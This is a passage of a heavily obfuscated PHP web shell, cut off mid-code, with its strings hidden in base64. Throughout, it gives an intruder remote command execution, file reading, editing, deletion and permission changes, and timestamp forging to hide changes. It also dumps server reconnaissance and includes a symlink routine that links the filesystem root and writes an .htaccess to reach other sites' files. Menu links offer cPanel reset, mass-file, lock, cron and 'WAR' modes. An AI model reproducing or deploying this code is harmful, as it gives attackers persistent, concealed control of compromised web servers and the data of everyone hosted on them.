wb('IiBuYW1lPSJjaHhkaXIiPiA8aW5wdXQgY2xhc3M9ImJ0biBidG4td2FybmluZyBidG4tc20iIHR5cGU9InN1Ym1pdCIgbmFtZT0iZG9fZGlyIiB2YWx1ZT0iR28iPjwvZm9ybT4='); } if (isset($_POST[wb('ZG9fZGly')])) { $guantidirnya = $GNJ[14](wb('Ly8='), wb('Lw=='), $_POST[wb('Y2h4ZGly')]); if ($GNJ[22]($guantidirnya, -1) == wb('Lw==')) { $guantidirnya = $GNJ[22]($guantidirnya, 0, -1); } if (!$GNJ[8]($guantidirnya)) { echo wb('PGJvZHkgb25sb2FkPSJoaXN0b3J5LmdvKC0xKTsiPg=='); die; } else { echo wb('PG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMDt1cmw9P2Q9') . hex($guantidirnya) . wb('Ij4='); die; } } print OS() === wb('V2luZG93cw==') ? windisk() : ''; echo wb('PGRpdiBjbGFzcz0ic2VtcHJvdG5hIj48ZGl2IHN0eWxlPSJmbG9hdDogbGVmdDsiPjxhIGNsYXNzPSJidG4gYnRuLXByaW1hcnkgYnRuLXNtIGFqeCIgaHJlZj0iP2Q9') . hex($d) . wb('Jm4iPitORVdGSUxFKzwvYT4gPGEgY2xhc3M9ImJ0biBidG4tcHJpbWFyeSBidG4tc20gYWp4ICIgaHJlZj0iP2Q9') . hex($d) . wb('JmwiPitORVdESVIrPC9hPg=='); if ($GNJ[26](wb('L3Vzci9sb2NhbC9jcGFuZWwvdmVyc2lvbg=='))) { echo wb('IDxhIGNsYXNzPSJidG4gYnRuLWRhcmsgYnRuLXNtIGFqeCAiIGhyZWY9Ij9kPQ==') . hex($d) . wb('Jg==') . hex(wb('Y3BhbmVsLXJlc2V0')) . wb('Ij5jUGFuZWw8L2E+'); } echo wb('PC9kaXY+PGRpdiBzdHlsZT0iZmxvYXQ6IHJpZ2h0OyI+IDxhIGNsYXNzPSJidG4gYnRuLXN1Y2Nlc3MgYnRuLXNtIGFqeCAiIGhyZWY9Ij9kPQ==') . hex($d) . wb('Jg==') . hex(wb('c2lnbmF0dXJl')) . wb('Ij4mIzkzMTI7IFRlYmFyQkQ8L2E+CiAgIDxhIGNsYXNzPSJidG4gYnRuLXN1Y2Nlc3MgYnRuLXNtIGFqeCAiIGhyZWY9Ij9kPQ==') . hex($d) . wb('Jg==') . hex(wb('bWFzc190b29s')) . wb('Ij4mIzkzMTM7IFNjcmFtPC9hPiA8YSBjbGFzcz0iYnRuIGJ0bi1zdWNjZXNzIGJ0bi1zbSBhanggIiBocmVmPSI/ZD0=') . hex($d) . wb('Jg==') . hex(wb('TG9ja2Rvd24=')) . wb('Ij4mIzkzMTQ7IExvY2s8L2E+IDxhIGNsYXNzPSJidG4gYnRuLXN1Y2Nlc3MgYnRuLXNtIGFqeCAiIGhyZWY9Ij9kPQ==') . hex($d) . wb('Jg==') . hex(wb('Y3JvbnRhYg==')) . wb('Ij4mIzkzMTU7IENyb248L2E+IDxhIGNsYXNzPSJidG4gYnRuLXdhcm5pbmcgYnRuLXNtIGFqeCAiIGhyZWY9Ij9kPQ==') . hex($d) . wb('Jg==') . hex(wb('Y2hlY2tzZW8=')) . wb('Ij4mIzkzMTY7IFNFTzwvYT4gPGEgY2xhc3M9ImJ0biBidG4taW5mbyBidG4tc20gYWp4ICIgaHJlZj0iP2Q9') . hex($d) . wb('Jg==') . hex(wb('Y29uc29sZW9u')) . wb('IiB0YXJnZXQ9Il9ibGFuayI+Q29uc29sZTwvYT4KICAg'); if (isset($_SESSION[wb('c2F0aW5nZ2E=')])) { echo wb('PGEgY2xhc3M9ImJ0biBidG4tZGFuZ2VyIGJ0bi1zbSBhanggIiBocmVmPSI/ZD0=') . hex($d) . wb('Jg==') . hex(wb('bWQ1eG9mZg==')) . wb('Ij5XQVIgT0ZGPC9hPg=='); } else { echo wb('PGEgY2xhc3M9ImJ0biBidG4tZGFuZ2VyIGJ0bi1zbSBhanggIiBocmVmPSI/ZD0=') . hex($d) . wb('Jg==') . hex(wb('bWQ1eG9u')) . wb('Ij5XQVIgT048L2E+'); } echo wb('PC9kaXY+PC9kaXY+IA=='); if (isset($_POST[wb('ZG9fY21k')])) { $jadul = b64dd($_POST[wb('Y21k')]); echo wb('PGRpdiBjbGFzcz0nZm9ybS1vdXRsaW5lJz48dGV4dGFyZWEgcmVhZG9ubHkgY2xhc3MgPSAnZm9ybS1jb250cm9sJz4=') . $GNJ[15](exe($jadul)) . wb('PC90ZXh0YXJlYT48L2Rpdj4='); } if (isset($_POST[wb('Y21k')])) { $docmd = b64dd($_POST[wb('Y21k')]); } else { $docmd = ''; } echo wb('PGZvcm0gbWV0aG9kPSdwb3N0JyBvbnN1Ym1pdD0ncmV0dXJuIGJ0b2FNUlgoKSc+PGNlbnRlcj4KCQkJCTxmb250IHN0eWxlPSdjb2xvcjp5ZWxsb3c7Jz4=') . $user . wb('JiM2NDs8L2ZvbnQ+PGZvbnQgc3R5bGU9J2NvbG9yOnRyYW5zcGFyZW50O3RleHQtc2hhZG93OiAwcHggMHB4IDRweCAjZmZmOyc+') . gethostbyname($_SERVER[wb('SFRUUF9IT1NU')]) . wb('IDwvZm9udD4mbmJzcDsKCQkJCTxpbnB1dCBzdHlsZT0nYm9yZGVyOiBub25lOyBib3JkZXItYm90dG9tOiAxcHggc29saWQgIzAwZmYwMDsnIHR5cGU9J3RleHQnIGlkPSdpbnB1dFRleHRZJyBzaXplPSc4MCUnIGhlaWdodD0nMTAnIG5hbWU9J2NtZCcgdmFsdWU9Jw==') . $docmd . wb('Jz48aW5wdXQgc3R5bGU9J2JvcmRlcjogbm9uZTsgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICMwMGZmMDA7JyB0eXBlPSdzdWJtaXQnIG5hbWU9J2RvX2NtZCcgdmFsdWU9Jz4+Jz4KCQkJCQ=='); if ($GNJ[26](wb('bWFSaQ==')) || $GNJ[26](wb('X3g='))) { echo wb('PGEgaHJlZj0nP2Q9') . hex($d) . wb('Jg==') . hex(wb('cjAwdA==')) . wb('Jz5yMDB0Kys8L2E+'); } echo wb('PC9jZW50ZXI+PC9mb3JtPg=='); if (isset($_POST[wb('ZGVsZXRlRmlsZXo=')])) { if (!empty($_POST[wb('Y3Vjb2s=')])) { $checked_count = count($_POST[wb('Y3Vjb2s=')]); echo wb('REVMRVRFRCA=') . $checked_count . wb('IG9wdGlvbihzKTog'); foreach ($_POST[wb('Y3Vjb2s=')] as $selected) { $carinamafileaja = pathinfo($selected); $fname = $carinamafileaja[wb('ZmlsZW5hbWU=')]; $ename = $carinamafileaja[wb('ZXh0ZW5zaW9u')]; if ($GNJ[26]($selected) && is_file($selected) && $GNJ[10]($selected)) { echo wb('ICYjMTI4MzA0OyA=') . $fname . wb('Lg==') . $ename . wb('IA=='); } else { if ($GNJ[26]($selected) && $GNJ[8]($selected) && $GNJ[35]($selected)) { echo wb('ICYjMTI4MTYyOyA=') . $fname . wb('IA=='); } if ($GNJ[26]($selected)) { rec($selected); echo wb('ICYjMTI4MzA0OyAmIzEyODE2Mjsg') . $fname . wb('IA=='); } } } echo wb('IChUaGlzIHBhZ2Ugd2lsbCByZWxvYWQgaW4gMyBzZWNvbmRzKTxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjMiPg=='); } } $a_ = wb('PHN0eWxlPi5kaXZpZGV7d2lkdGg6MTAwJTtib3JkZXI6MDtkaXNwbGF5OmlubGluZS1ibG9ja30uZGl2aWRlLWxlZnR7ZmxvYXQ6bGVmdDt3aWR0aDo0OS41JX0uZGl2aWRlLXJpZ2h0e2Zsb2F0OnJpZ2h0O3dpZHRoOjQ5LjUlfTwvc3R5bGU+CgkJPHRhYmxlIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iNyIgd2lkdGg9IjEwMCUiPjx0aGVhZD48dHI+PHRoPg=='); $b_ = wb('PC90aD48L3RyPjwvdGhlYWQ+PHRib2R5Pjx0cj48dGQ+PC90ZD48L3RyPjx0cj48dGQ+'); $c_ = wb('PC90ZD48L3RyPjwvdGJvZHk+PC90YWJsZT4='); $d_ = wb('PGlucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9ImJ0biBidG4tc3VjY2VzcyBmb3JtLWNvbnRyb2wgY29sLW1kLTMiIHZhbHVlPSImbmJzcDtPSyZuYnNwOyIgLz4KIDwvZm9ybT4='); function rayeli($checkfx, $namafile) { global $GNJ; printf(wb('PGRpdiBjbGFzcz0nZGl2aWRlIHRhYmxlIHRhYmxlLWJvcmRlcmVkIG10LTIgaG92ZXJUYWJsZSc+PGRpdiBjbGFzcz0nZGl2aWRlLWxlZnQnPjx0YWJsZSBjbGFzcz0ndGFibGUgdGFibGUtYm9yZGVyZWQgaG92ZXJUYWJsZSc+IDx0cj48dGQ+U2l6ZTwvdGQ+PHRkPiVzPC90ZD48L3RyPjx0cj48dGQ+UGVybWlzc2lvbjwvdGQ+PHRkPiVzPC90ZD48L3RyPjx0cj48dGQ+Q3JlYXRlZCB0aW1lPC90ZD48dGQ+JXM8L3RkPjwvdHI+PHRyPjx0ZD5MYXN0IG1vZGlmaWVkPC90ZD48dGQ+JXM8L3RkPjwvdHI+PHRyPjx0ZD5MYXN0IGFjY2Vzc2VkPC90ZD48dGQ+JXM8L3RkPjwvdHI+PC90YWJsZT48L2Rpdj48ZGl2IGNsYXNzPSdkaXZpZGUtcmlnaHQnPjx0YWJsZSBjbGFzcz0ndGFibGUgdGFibGUtYm9yZGVyZWQgIGhvdmVyVGFibGUnPiA8dHI+PHRkPkZpbGU8L3RkPjx0ZD4=') . $namafile . wb('PC90ZD48L3RyPjx0cj48dGQ+T3duZXIvR3JvdXA8L3RkPjx0ZD4lczwvdGQ+PC90cj48dHI+PHRkPk1ENTwvdGQ+PHRkPiVzPC90ZD48L3RyPjx0cj48dGQ+U0hBMTwvdGQ+PHRkPiVzPC90ZD48L3RyPjx0cj48dGQ+UGF0aDwvdGQ+PHRkPiVzPC90ZD48L3RyPjwvdGFibGU+PC9kaXY+PC9kaXY+'), GetFileSize(@$GNJ[34]($checkfx)), x($checkfx), GetFileTime($checkfx, wb('Y3JlYXRl')), GetFileTime($checkfx, wb('bW9kaWZ5')), GetFileTime($checkfx, wb('YWNjZXNz')), GetFileOwnerGroup($checkfx), @md5_file($checkfx), @sha1_file($checkfx), realpath($checkfx)); } if (isset($_GET[wb('cw==')])) { $checkfx = $d . DIRECTORY_SEPARATOR . rehex($_GET[wb('cw==')]); if ($GNJ[26]($checkfx)) { echo $a_ . wb('PGRpdiBzdHlsZT0iZmxvYXQ6bGVmdDtjb2xvcjogZ3JlZW47Ij48aDI+Vmlld2luZyA=') . rehex($_GET[wb('cw==')]) . wb('PC9oMj48L2Rpdj48ZGl2IHN0eWxlPSJmbG9hdDpyaWdodCI+UGF0aDogPGNvZGU+') . $d . DIRECTORY_SEPARATOR . rehex($_GET[wb('cw==')]) . wb('PC9jb2RlPiA=') . fullx($checkfx) . wb('PC9kaXY+') . $b_ . header_Everyfile($_GET[wb('cw==')]) . wb('CiA8dGV4dGFyZWEgaWQ9ImlucHV0VGV4dEYiIGNsYXNzPSJmb3JtLWNvbnRyb2wiPg==') . $GNJ[15](reader(rehex($_GET[wb('cw==')]))) . wb('PC90ZXh0YXJlYT48ZGl2IHN0eWxlPSJmbG9hdDpyaWdodDsiPjxiciAvPjxidXR0b24gY2xhc3M9ImJ0biBidG4tc2Vjb25kYXJ5IGJ0bi1zbSIgb25jbGljaz0ic2F2ZVRleHRBc0ZpbGUoKSI+RE9XTkxPQUQ8L2J1dHRvbj48YnIgLz48c2NyaXB0PnZhciBlZGl0b3I9Q29kZU1pcnJvci5mcm9tVGV4dEFyZWEoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImlucHV0VGV4dEYiKSx7dGhlbWU6ImRyYWN1bGEiLG1vZGU6ICJhcHBsaWNhdGlvbi94LWh0dHBkLXBocCIsIHN0eWxlQWN0aXZlTGluZTogdHJ1ZSxyZWFkT25seTogInRydWUiLG1hdGNoQnJhY2tldHM6ITAsbGluZU51bWJlcnM6ITAsaW5kZW50VW5pdDo0LGluZGVudFdpdGhUYWJzOiEwLGxpbmVXcmFwcGluZzohMCxhdXRvZm9jdXM6ITB9KS5zZXRTaXplKDExMzYsNDAwKTtmdW5jdGlvbiBzYXZlVGV4dEFzRmlsZSgpe3ZhciBlPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJpbnB1dFRleHRGIikudmFsdWUsdD1uZXcgQmxvYihbZV0se3R5cGU6InRleHQvcGxhaW4ifSksbj1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJhIik7bi5kb3dubG9hZD0i') . rehex($_GET[wb('cw==')]) . wb('IixuLmlubmVySFRNTD0iRE9XTkxPQUQiLG51bGwhPXdpbmRvdy53ZWJraXRVUkw/bi5ocmVmPXdpbmRvdy53ZWJraXRVUkwuY3JlYXRlT2JqZWN0VVJMKHQpOihuLmhyZWY9d2luZG93LlVSTC5jcmVhdGVPYmplY3RVUkwodCksbi5vbmNsaWNrPWRlc3Ryb3lDbGlja2VkRWxlbWVudCxuLnN0eWxlLmRpc3BsYXk9Im5vbmUiLGRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQobikpLG4uY2xpY2soKX08L3NjcmlwdD4=') . $c_; rayeli($checkfx, rehex($_GET[wb('cw==')])); } else { echo wb('PGgyPkZJTEUgTk9UIEVYSVNUITwvaDI+'); } } elseif (isset($_GET[wb('eQ==')])) { echo $a_ . wb('UkVRVUVTVA==') . $b_ . wb('CiA8Zm9ybSBtZXRob2Q9InBvc3QiPgogCTxpbnB1dCBjbGFzcz0iZm9ybS1jb250cm9sIG1kLTMiIHR5cGU9InRleHQiIG5hbWU9IjEiIGF1dG9jb21wbGV0ZT0ib2ZmIiAvPiZuYnNwOyZuYnNwOwogCTxpbnB1dCBjbGFzcz0iZm9ybS1jb250cm9sIG1kLTMiIHR5cGU9InRleHQiIG5hbWU9IjIiIGF1dG9jb21wbGV0ZT0ib2ZmIiAvPgogCQ==') . $d_ . wb('CiA8YnIgLz48dGV4dGFyZWEgcmVhZG9ubHkgY2xhc3MgPSAiZm9ybS1jb250cm9sIj4='); if (isset($_POST[wb('Mg==')])) { echo $GNJ[15](dre($_POST[wb('MQ==')], $_POST[wb('Mg==')])); } echo wb('PC90ZXh0YXJlYT4KIAkJ') . $c_; } elseif (isset($_GET[wb('ZQ==')])) { $checkfx = $d . DIRECTORY_SEPARATOR . rehex($_GET[wb('ZQ==')]); if ($GNJ[26]($checkfx)) { if ($GNJ[31]($checkfx)) { $satinggaWR = wb('PGgyIHN0eWxlPSJjb2xvcjogI2ZmZjsiPkVkaXRpbmcg') . rehex($_GET[wb('ZQ==')]) . wb('PC9oMj4='); echo $a_ . wb('IDxkaXYgc3R5bGU9ImZsb2F0OmxlZnQiPg==') . $satinggaWR . wb('PC9kaXY+PGRpdiBzdHlsZT0iZmxvYXQ6cmlnaHQiPlBhdGg6IDxjb2RlPg==') . $checkfx . wb('PC9jb2RlPiA=') . fullx($checkfx) . wb('PC9kaXY+') . $b_ . header_Everyfile($_GET[wb('ZQ==')]) . wb('CiA8Zm9ybSBtZXRob2Q9InBvc3QiIG9uc3VibWl0PSJyZXR1cm4gYnRvYU1SRCgpIj48dGV4dGFyZWEgbmFtZT0iZSIgaWQ9ImlucHV0VGV4dEYiIGNsYXNzPSJmb3JtLWNvbnRyb2wiPg==') . $GNJ[15](reader(rehex($_GET[wb('ZQ==')]))) . wb('PC90ZXh0YXJlYT4KIDxicj48ZGl2IHN0eWxlPSJmbG9hdDpyaWdodDsiPjxidXR0b24gY2xhc3M9ImJ0biBidG4tc2Vjb25kYXJ5IGJ0bi1zbSIgb25jbGljaz0ic2F2ZVRleHRBc0ZpbGUoKSI+RE9XTkxPQUQ8L2J1dHRvbj48L2Rpdj4J') . $d_ . wb('CiAJCQ==') . $c_ . wb('PHNjcmlwdD52YXIgZWRpdG9yPUNvZGVNaXJyb3IuZnJvbVRleHRBcmVhKGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJpbnB1dFRleHRGIikse3RoZW1lOiJtb25va2FpIixtb2RlOiAiYXBwbGljYXRpb24veC1odHRwZC1waHAiLHN0eWxlQWN0aXZlTGluZTogdHJ1ZSxtYXRjaEJyYWNrZXRzOiEwLGxpbmVOdW1iZXJzOiEwLGluZGVudFVuaXQ6NCxpbmRlbnRXaXRoVGFiczohMCxsaW5lV3JhcHBpbmc6ITAsYXV0b2ZvY3VzOiEwfSkuc2V0U2l6ZSgxMTM2LDQwMCk7IGZ1bmN0aW9uIGJ0b2FNUkQoKSB7IHZhciBpbnB1dCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJpbnB1dFRleHRGIikudmFsdWU7IHZhciBlbmNvZGVkID0gYnRvYShpbnB1dCk7CiAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImlucHV0VGV4dEYiKS52YWx1ZSA9IGVuY29kZWQ7IH1mdW5jdGlvbiBzYXZlVGV4dEFzRmlsZSgpe3ZhciBlPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJpbnB1dFRleHRGIikudmFsdWUsdD1uZXcgQmxvYihbZV0se3R5cGU6InRleHQvcGxhaW4ifSksbj1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJhIik7bi5kb3dubG9hZD0i') . rehex($_GET[wb('ZQ==')]) . wb('IixuLmlubmVySFRNTD0iRG93bmxvYWQgRmlsZSIsbnVsbCE9d2luZG93LndlYmtpdFVSTD9uLmhyZWY9d2luZG93LndlYmtpdFVSTC5jcmVhdGVPYmplY3RVUkwodCk6KG4uaHJlZj13aW5kb3cuVVJMLmNyZWF0ZU9iamVjdFVSTCh0KSxuLm9uY2xpY2s9ZGVzdHJveUNsaWNrZWRFbGVtZW50LG4uc3R5bGUuZGlzcGxheT0ibm9uZSIsZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChuKSksbi5jbGljaygpfTwvc2NyaXB0Pg=='); rayeli($checkfx, rehex($_GET[wb('ZQ==')])); if (isset($_POST[wb('ZQ==')])) { $ex = $_POST[wb('ZQ==')]; $ragu = b64dd($ex); $fp = $GNJ[17](rehex($_GET[wb('ZQ==')]), wb('dw==')); if ($GNJ[18]($fp, $ex)) { $wfolder = $GNJ[20](wb('WS1tLWQgZzpp'), $GNJ[21]("{$d}")); $px = $GNJ[33]($wfolder); @$GNJ[25]($checkfx, $px); echo wb('PG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMDt1cmw9Jz9kPQ==') . $_GET[wb('ZA==')] . wb('JmU9') . $_GET[wb('ZQ==')] . wb('JyIgLz4='); } else { ER(); } $GNJ[19]($fp); } } else { echo wb('PGJyPg==') . header_Everyfile($_GET[wb('ZQ==')]) . wb('PGgxIGNsYXNzPSd0ZXh0LWNlbnRlcic+RmlsZSBub3Qgd3JpdGVhYmxlITwvaDE+PHAgY2xhc3M9J3RleHQtY2VudGVyJz5IZSBoYXMgcmV0dXJuZWQgdG8gaGlzIGdsb3J5LCB5b3VyIHByaW50ZXIgaXMgcGFydCBvZiBhIGZsYW1pbmcgYm90bmV0LCB0aGUgaGFja2VyIGdvZCBoYXMgcmV0dXJuZWQgZnJvbSB0aGUgZGVhZC4gWU9VUiBQUklOVEVSIEhBUyBCRUVOIE9XTkVEITwvcD4='); } } else { echo wb('PGhyPjxicj48Y2VudGVyPjxoMj5GaWxlIG5vdCBleGlzdCEgPGEgaHJlZj0nP2Q9') . hex($d) . wb('Jm4nPkRvIHlvdSB3YW50IHRvIGNyZWF0ZSBpdCA/PC9hPjwvaDI+PC9jZW50ZXI+'); } } elseif (isset($_GET[wb('eA==')])) { rec(rehex($_GET[wb('eA==')])); if ($GNJ[26](rehex($_GET[wb('eA==')]))) { ER(); } else { OK(); } } elseif (isset($_GET[wb('dA==')])) { $checkfx = $d . DIRECTORY_SEPARATOR . rehex($_GET[wb('dA==')]); if ($GNJ[26]($checkfx)) { echo $a_ . wb('PGRpdiBzdHlsZT0iZmxvYXQ6bGVmdCI+PGgyPkdhbnRpIFdha3R1IEZpbGUg') . rehex($_GET[wb('dA==')]) . wb('PC9oMj48L2Rpdj48ZGl2IHN0eWxlPSJmbG9hdDpyaWdodCI+UGF0aDogPGNvZGU+') . $checkfx . wb('PC9jb2RlPiA=') . fullx($checkfx) . wb('PC9kaXY+') . $b_ . header_Everyfile($_GET[wb('dA==')]) . wb('CiA8Y2VudGVyPjxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPjxpbnB1dCBuYW1lPSJ0IiBjbGFzcz0iZm9ybS1jb250cm9sIGNvbC1tZC0zIiBhdXRvY29tcGxldGU9Im9mZiIgdHlwZT0idGV4dCIgdmFsdWU9Ig==') . $GNJ[20](wb('WS1tLWQgSDpp'), $GNJ[21](rehex($_GET[wb('dA==')]))) . wb('Ij4KIAk=') . $d_ . wb('CiAJCQ==') . $c_; rayeli($checkfx, rehex($_GET[wb('dA==')])); if (!empty($_POST[wb('dA==')])) { $p = $GNJ[33]($_POST[wb('dA==')]); if ($p) { if (!$GNJ[25](rehex($_GET[wb('dA==')]), $p, $p)) { ER(); } else { echo wb('PGJvZHkgb25sb2FkPSJoaXN0b3J5LmdvKC0xKTsiPg=='); } } else { ER(); } } } else { echo wb('RmlsZSBub3QgZXhpc3QhIDxhIGhyZWY9Jz9kPQ==') . hex($d) . wb('Jm4nPkRvIHlvdSB3YW50IHRvIGNyZWF0ZSBpdCA/PC9hPg=='); } } elseif (isset($_GET[wb('aw==')])) { $checkfx = $d . DIRECTORY_SEPARATOR . rehex($_GET[wb('aw==')]); if ($GNJ[26]($checkfx)) { echo $a_ . wb('PGRpdiBzdHlsZT0iZmxvYXQ6bGVmdCI+PGgyPkNITU9EIA==') . rehex($_GET[wb('aw==')]) . wb('PC9oMj48L2Rpdj48ZGl2IHN0eWxlPSJmbG9hdDpyaWdodCI+UGF0aDogPGNvZGU+') . $checkfx . wb('PC9jb2RlPiA=') . fullx($checkfx) . wb('PC9kaXY+') . $b_ . header_Everyfile($_GET[wb('aw==')]) . wb('CiA8Y2VudGVyPjxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPjxpbnB1dCBuYW1lPSJiIiBhdXRvY29tcGxldGU9Im9mZiIgY2xhc3M9ImZvcm0tY29udHJvbCBjb2wtbWQtMyIgdHlwZT0idGV4dCIgdmFsdWU9Ig==') . $GNJ[22]($GNJ[23](wb('JW8='), $GNJ[24](rehex($_GET[wb('aw==')]))), -4) . wb('Ij4g') . $d_ . wb('CiAJCQ==') . $c_; rayeli($checkfx, rehex($_GET[wb('aw==')])); if (!empty($_POST[wb('Yg==')])) { $x = $_POST[wb('Yg==')]; $t = 0; for ($i = strlen($x) - 1; $i >= 0; --$i) { $t += (int) $x[$i] * pow(8, strlen($x) - $i - 1); } if (!$GNJ[12](rehex($_GET[wb('aw==')]), $t)) { ER(); } else { echo wb('PGJvZHkgb25sb2FkPSJoaXN0b3J5LmdvKC0xKTsiPg=='); } } } else { echo wb('RmlsZSBub3QgZXhpc3QhIDxhIGhyZWY9Jz9kPQ==') . hex($d) . wb('Jm4nPkRvIHlvdSB3YW50IHRvIGNyZWF0ZSBpdCA/PC9hPg=='); } } elseif (isset($_GET[wb('bA==')])) { echo $a_ . wb('K0RJUg==') . $b_ . wb('IDxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPjxpbnB1dCBuYW1lPSJsIiBhdXRvY29tcGxldGU9Im9mZiIgY2xhc3M9ImZvcm0tY29udHJvbCBjb2wtbWQtMyIgdHlwZT0idGV4dCIgdmFsdWU9IiI+') . $d_ . wb('CiAJCQ==') . $c_; if (isset($_POST[wb('bA==')])) { if (!$GNJ[11]($_POST[wb('bA==')])) { ER(); } else { echo wb('PG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMDt1cmw9P2Q9') . hex($d) . wb('MmY=') . hex($_POST[wb('bA==')]) . wb('Ij4='); } } } elseif (isset($_GET[wb('cQ==')])) { if (@$GNJ[10](__FILE__)) { @$GNJ[38]($GNJ[9]); header(wb('TG9jYXRpb246IA==') . basename($_SERVER[wb('UEhQX1NFTEY=')]) . ''); die; } else { echo $g; } } elseif (isset($_GET[hex(wb('aW5mbw=='))])) { if (Unix()) { $softdict = wb('TGludXgJCQkJCTogY1VSTCA6IA==') . $curl . wb('IHwgV2dldCA6IA==') . $wget . wb('IHwgR0NDIDog') . $gcc . wb('IHwgc3VkbyA6IA==') . $sudo . wb('IHwgc2ggOiA=') . $sh . wb('IHwgYmFzaCA6IA==') . $bash . wb('IHwgY3JvbnRhYiA6IA==') . $crontab . wb('IHwgTlMgOiA=') . $named . wb('IHwgTkMgOiA=') . $nc . wb('IHwgRmV0Y2ggOiA=') . $fetch . wb('IHwgR2V0IDog') . $get; } else { $softdict = wb('V2luZG93cwkJCQk6IGNlcnR1dGlsIDog') . $certutil . wb('IHwgbmV0IDog') . $net . wb('IHwgc2NodGFza3MgOiA=') . $schtasks . wb('IHwgYXR0cmliIDog') . $attrib; } echo wb('PGhyPlNZU1RFTSBJTkZPUk1BVElPTlM8Y2VudGVyPgogPHRleHRhcmVhIGNsYXNzID0gImZvcm0tY29udHJvbCIgcm93cz0iMzAiIHJlYWRvbmx5PgoJU2VydmVyIAkJCQkJOiA=') . $_SERVER[wb('SFRUUF9IT1NU')] . wb('IHwgU2VydmVyIElQOiA=') . $_SERVER[wb('U0VSVkVSX0FERFI=')] . wb('IHwgWW91ciBJUDog') . $_SERVER[wb('UkVNT1RFX0FERFI=')] . wb('CglLZXJuZWwgVmVyc2lvbiAJCQk6IA==') . php_uname() . wb('CglTb2Z0d2FyZSAJCQkJOiA=') . $_SERVER[wb('U0VSVkVSX1NPRlRXQVJF')] . wb('CglTdG9yYWdlIFNwYWNlIAkJCTog') . $used . wb('Lw==') . $total . wb('IChGcmVlIDog') . $freespace . wb('KQ==') . wb('IHwgVGltZSBPbiBTZXJ2ZXIgOiA=') . $GNJ[20](wb('ZCBNIFkgaDppOnMgYQ==')) . wb('CglVc2VyIC8gR3JvdXAgCQkJOiA=') . $user . wb('ICg=') . $uid . wb('KSB8IA==') . $group . wb('ICg=') . $gid . wb('KQoJUEhQIFZlcnNpb24gCQkJOiA=') . $GNJ[1]() . wb('IE9uIA==') . php_sapi_name() . wb('IHwgTWFnaWMgUXVvdGVzIDog') . $magicquotes . wb('CglNb3JlIEluZm8JCQkJOiBTYWZlIE1vZGUgOiA=') . $sm . wb('IHwgT3BlbiBCYXNlIERpciA6IA==') . $show_obdir . wb('IHwgU2FmZSBNb2RlIEV4ZWMgRGlyIDog') . $show_exec . wb('IHwgU2FmZSBNb2RlIEluY2x1ZGUgRGlyIDog') . $show_include . wb('CglEYXRhYmFzZQkJCQk6IE15U1FMIDog') . $mysql . wb('IHwgTVNTUUwgOiA=') . $mssql . wb('IHwgUG9zdGdyZVNRTCA6IA==') . $pgsql . wb('IHwgT3JhY2xlIDog') . $oracle . wb('CglTb2Z0d2FyZQkJCQk6IFBlcmwgOiA=') . $perl . wb('IHwgUHl0aG9uIDog') . $python . wb('IHwgUnVieSA6IA==') . $ruby . wb('IAoJRGlzYWJsZSBGdW5jdGlvbnMgCQk6IA==') . $show_ds . wb('Cgk=') . $softdict . wb('Cgk8L3RleHRhcmVhPgogPC9jZW50ZXI+'); } elseif (isset($_GET[hex(wb('bWFzcw=='))])) { MassmenU($d); } elseif (isset($_GET[hex(wb('c3ltbGluaw=='))])) { AutomenU($d); echo wb('PGNlbnRlcj4gPGgyPiBTeW1saW5rIFkgPC9oMj4gPGJyPjxicj4gPGZvcm0gbWV0aG9kID0gJ1BPU1QnPiA8ZGl2IGNsYXNzID0gJ3JvdyBjbGVhcmZpeCc+PGRpdiBjbGFzcyA9ICdjb2wtbWQtNCc+PGlucHV0IHR5cGUgPSAnc3VibWl0JyBuYW1lID0gJ3N5bWxpbmsyJyBjbGFzcyA9ICdmb3JtLWNvbnRyb2wnIHZhbHVlID0gJ1N5bWxpbmsnIGhlaWdodD0nMTAnPjwvZGl2PjwvZGl2PjwvZm9ybT48L2NlbnRlcj48YnI+PGJyPg=='); if (isset($_POST[wb('c3ltbGluazI=')])) { $d0mains = @file(wb('L2V0Yy9uYW1lZC5jb25m')); if ($d0mains) { @$GNJ[11](wb('eGNvbmZpZw=='), 511); $GNJ[2](wb('eGNvbmZpZw==')); exe(wb('bG4gLXMgLyByb290')); $file3 = wb('VDNCMGFXOXVjeUJKYm1SbGVHVnpJRVp2Ykd4dmQxTjViVXhwYm10ekNrUnBjbVZqZEc5eWVVbHVaR1Y0SUhoamIyNW1hV2N1YUhSdENrRmtaRlI1Y0dVZ2RHVjRkQzl3YkdGcGJpQXVjR2h3Q2tGa1pFaGhibVJzWlhJZ2RHVjRkQzl3YkdGcGJpQXVjR2h3Q2xOaGRHbHpabmtnUVc1NQ=='); $fp3 = $GNJ[17](wb('Lmh0YWNjZXNz'), wb('dw==')); $fw3 = $GNJ[18]($fp3, b64dd($file3)); @$GNJ[19]($fp3); echo 